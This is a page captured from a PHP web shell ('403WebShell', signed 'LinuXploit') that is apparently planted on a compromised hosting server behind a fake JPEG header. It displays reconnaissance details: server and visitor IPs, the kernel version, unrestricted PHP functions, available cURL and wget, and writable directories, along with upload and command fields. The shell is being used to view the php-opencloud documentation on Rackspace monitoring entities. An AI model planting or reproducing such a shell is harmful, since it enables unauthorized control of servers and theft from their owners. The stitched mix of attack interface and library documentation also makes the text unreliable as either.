����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.145.45.170
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/monitoring/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/monitoring/entities.rst
 Entities
=========

An entity is the target of what you are monitoring. For example, you can
create an entity to monitor your website, a particular web service, or
your Rackspace server. Note that an entity represents only one item in
the monitoring system -- if you wanted to monitor each server in a
cluster, you would create an entity for each of the servers. You would
not create a single entity to represent the entire cluster.

An entity can have multiple checks associated with it. This allows you
to check multiple services on the same host by creating multiple checks
on the same entity, instead of multiple entities each with a single
check.

Create Entity
-------------

.. code-block:: php

  $service->createEntity(array(
      'label' => 'Brand New Entity',
      'ip_addresses' => array(
          'default' => '127.0.0.4',
          'b'       => '127.0.0.5',
          'c'       => '127.0.0.6',
          'test'    => '127.0.0.7'
      ),
      'metadata' => array(
          'all'  => 'kinds',
          'of'   => 'stuff',
          'can'  => 'go',
          'here' => 'null is not a valid value'
      )
  ));


Retrive an entity
-----------------

.. code-block:: php

  $entity = $service->getEntity('{entityId}');


Attributes
~~~~~~~~~~

+-----------------+-------------------------------------------------------------------------+-----------------------------------------------------+------------------------+
| Name            | Description                                                             | Data type                                           | Method                 |
+=================+=========================================================================+=====================================================+========================+
| label           | Defines a name for the entity.                                          | String (1..255 chars)                               | ``getLabel()``         |
+-----------------+-------------------------------------------------------------------------+-----------------------------------------------------+------------------------+
| agent_id        | Agent to which this entity is bound to.                                 | String matching the regex: ``/^[-\.\w]{1,255}$/``   | ``getAgentId()``       |
+-----------------+-------------------------------------------------------------------------+-----------------------------------------------------+------------------------+
| ip_addresses    | Hash of IP addresses that can be referenced by checks on this entity.   | Array                                               | ``getIpAddresses()``   |
+-----------------+-------------------------------------------------------------------------+-----------------------------------------------------+------------------------+
| metadata        | Arbitrary key/value pairs that are passed during the alerting phase.    | ``OpenCloud\Common\Metadata``                       | ``getMetadata()``      |
+-----------------+-------------------------------------------------------------------------+-----------------------------------------------------+------------------------+


Update an entity
----------------

.. code-block:: php

  $entity->update(array(
      'label' => 'New label for my entity'
  ));


Delete entity
-------------

.. code-block:: php

  $entity->delete();

Youez - 2016 - github.com/yon3zu
LinuXploit